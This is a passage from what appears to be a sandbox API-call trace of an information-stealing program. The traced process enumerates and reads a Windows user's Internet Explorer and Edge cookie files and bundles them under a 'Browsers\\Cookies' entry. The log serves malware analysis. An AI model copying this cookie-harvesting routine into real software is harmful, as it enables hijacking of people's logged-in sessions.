lpFileSizeHigh=0x18e09c*=0x0) returned 0x21f [0074.833] ReadFile (in: hFile=0x3f4, lpBuffer=0x452e0d0, nNumberOfBytesToRead=0x21f, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x452e0d0*, lpNumberOfBytesRead=0x18e098*=0x21f, lpOverlapped=0x0) returned 1 [0074.833] CloseHandle (hObject=0x3f4) returned 1 [0074.834] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x465ba5f0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x465ba5f0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x465ba5f0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@linkedin[1].txt", cAlternateFileName="5P1C80~1.TXT")) returned 1 [0074.834] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@linkedin[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@linkedin[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0074.834] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x110 [0074.834] ReadFile (in: hFile=0x3f4, lpBuffer=0x452ee0c, nNumberOfBytesToRead=0x110, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x452ee0c*, lpNumberOfBytesRead=0x18e098*=0x110, lpOverlapped=0x0) returned 1 [0074.835] CloseHandle (hObject=0x3f4) returned 1 [0074.835] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbfa5cef0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbfa5cef0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbfa5cef0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x76, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@m.exactag[1].txt", cAlternateFileName="5PD7A3~1.TXT")) returned 1 [0074.836] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@m.exactag[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@m.exactag[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0074.836] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x76 [0074.836] ReadFile (in: hFile=0x3f4, lpBuffer=0x3983f20, nNumberOfBytesToRead=0x76, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x3983f20*, lpNumberOfBytesRead=0x18e098*=0x76, lpOverlapped=0x0) returned 1 [0074.837] CloseHandle (hObject=0x3f4) returned 1 [0074.837] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50b50050, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x50b50050, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x50b50050, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x337, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@msn[1].txt", cAlternateFileName="5PBFF9~1.TXT")) returned 1 [0074.837] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@msn[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@msn[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0074.838] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x337 [0074.838] ReadFile (in: hFile=0x3f4, lpBuffer=0x23254ec, nNumberOfBytesToRead=0x337, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x23254ec*, lpNumberOfBytesRead=0x18e098*=0x337, lpOverlapped=0x0) returned 1 [0074.839] CloseHandle (hObject=0x3f4) returned 1 [0074.839] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5348e0b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5348e0b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5348e0b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt", cAlternateFileName="5P5NRG~4.TXT")) returned 1 [0074.840] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0074.840] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0xce [0074.840] ReadFile (in: hFile=0x3f4, lpBuffer=0x23254ec, nNumberOfBytesToRead=0xce, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x23254ec*, lpNumberOfBytesRead=0x18e098*=0xce, lpOverlapped=0x0) returned 1 [0074.842] CloseHandle (hObject=0x3f4) returned 1 [0074.842] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf73d210, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf73d210, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf73d210, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt", cAlternateFileName="5P4910~1.TXT")) returned 1 [0074.843] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0074.843] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x6c [0074.843] ReadFile (in: hFile=0x3f4, lpBuffer=0x23254ec, nNumberOfBytesToRead=0x6c, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x23254ec*, lpNumberOfBytesRead=0x18e098*=0x6c, lpOverlapped=0x0) returned 1 [0074.844] CloseHandle (hObject=0x3f4) returned 1 [0074.844] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf99e810, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf99e810, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf99e810, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x68, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@skadtec[1].txt", cAlternateFileName="5P37A2~1.TXT")) returned 1 [0074.844] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@skadtec[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@skadtec[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0074.844] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x68 [0074.844] ReadFile (in: hFile=0x3f4, lpBuffer=0x2325458, nNumberOfBytesToRead=0x68, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x2325458*, lpNumberOfBytesRead=0x18e098*=0x68, lpOverlapped=0x0) returned 1 [0074.845] CloseHandle (hObject=0x3f4) returned 1 [0074.845] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf54e030, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf54e030, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf54e030, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0xb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@track.adform[2].txt", cAlternateFileName="5PD4D3~1.TXT")) returned 1 [0074.846] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@track.adform[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@track.adform[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0074.846] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0xb2 [0074.846] ReadFile (in: hFile=0x3f4, lpBuffer=0x452d230, nNumberOfBytesToRead=0xb2, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x452d230*, lpNumberOfBytesRead=0x18e098*=0xb2, lpOverlapped=0x0) returned 1 [0074.847] CloseHandle (hObject=0x3f4) returned 1 [0074.847] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x555a9a10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x555a9a10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x555a9a10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@www.bing[2].txt", cAlternateFileName="5PA943~1.TXT")) returned 1 [0074.848] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@www.bing[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.bing[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0074.848] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0xd7 [0074.848] ReadFile (in: hFile=0x3f4, lpBuffer=0x452d230, nNumberOfBytesToRead=0xd7, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x452d230*, lpNumberOfBytesRead=0x18e098*=0xd7, lpOverlapped=0x0) returned 1 [0074.849] CloseHandle (hObject=0x3f4) returned 1 [0074.849] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54d8c7b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54d8c7b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54d8c7b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@www.linkedin[1].txt", cAlternateFileName="5PC3D9~1.TXT")) returned 1 [0074.849] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@www.linkedin[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.linkedin[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0074.849] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0xa9 [0074.849] ReadFile (in: hFile=0x3f4, lpBuffer=0x452d230, nNumberOfBytesToRead=0xa9, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x452d230*, lpNumberOfBytesRead=0x18e098*=0xa9, lpOverlapped=0x0) returned 1 [0074.850] CloseHandle (hObject=0x3f4) returned 1 [0074.850] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4523d1d0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x526fc010, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x526fc010, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x402, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@www.msn[2].txt", cAlternateFileName="5PD551~1.TXT")) returned 1 [0074.850] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@www.msn[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0074.850] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x402 [0074.851] ReadFile (in: hFile=0x3f4, lpBuffer=0x452d230, nNumberOfBytesToRead=0x402, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x452d230*, lpNumberOfBytesRead=0x18e098*=0x402, lpOverlapped=0x0) returned 1 [0074.852] CloseHandle (hObject=0x3f4) returned 1 [0074.852] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4523d1d0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x526fc010, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x526fc010, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x402, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@www.msn[2].txt", cAlternateFileName="5PD551~1.TXT")) returned 0 [0074.852] FindClose (in: hFindFile=0x66e488 | out: hFindFile=0x66e488) returned 1 [0074.852] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\*.cookie", lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4523d1d0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x526fc010, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x526fc010, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x402, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@www.msn[2].txt", cAlternateFileName="5PD551~1.TXT")) returned 0xffffffff [0074.852] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@www.msn[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f8 [0074.852] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x402 [0074.852] ReadFile (in: hFile=0x3f8, lpBuffer=0x452d230, nNumberOfBytesToRead=0x402, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x452d230*, lpNumberOfBytesRead=0x18e098*=0x402, lpOverlapped=0x0) returned 1 [0074.852] CloseHandle (hObject=0x3f8) returned 1 [0074.853] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4523d1d0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x526fc010, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x526fc010, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x402, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@www.msn[2].txt", cAlternateFileName="5PD551~1.TXT")) returned 0 [0074.853] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.853] CharToOemBuffA (in: lpszSrc="Browsers\\Cookies\\InternetExplorerLow.txt", lpszDst=0x4531a7c, cchDstLength=0x28 | out: lpszDst="Browsers\\Cookies\\InternetExplorerLow.txt") returned 1 [0074.853] RtlComputeCrc32 (PartialCrc=0x0, Buffer=0x4531aec, Length=0x1bec) returned 0x5de54da7 [0074.853] VirtualAlloc (lpAddress=0x4534000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x4534000 [0074.854] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\", lpDst=0x6cd5fc, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\INetCache\\") returned 0x49 [0074.854] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\INetCache\\\\*.txt", lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.854] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\INetCache\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\inetcache"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0074.854] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\INetCache\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\inetcache")) returned 0xffffffff [0074.854] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\INetCache\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\inetcache"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0074.854] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.854] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.854] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\INetCache\\\\*.cookie", lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.854] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\INetCache\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\inetcache"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0074.854] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\INetCache\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\inetcache")) returned 0xffffffff [0074.855] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\INetCache\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\inetcache"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0074.855] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.855] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.855] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\INetCookies\\", lpDst=0x6cf5fc, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\INetCookies\\") returned 0x6b [0074.855] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\INetCookies\\\\*.txt", lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.855] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\INetCookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\inetcookies"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0074.855] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\INetCookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\inetcookies")) returned 0xffffffff [0074.855] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\INetCookies\\\\" (normalized: "c:\\users\\5p5nrgjn0js 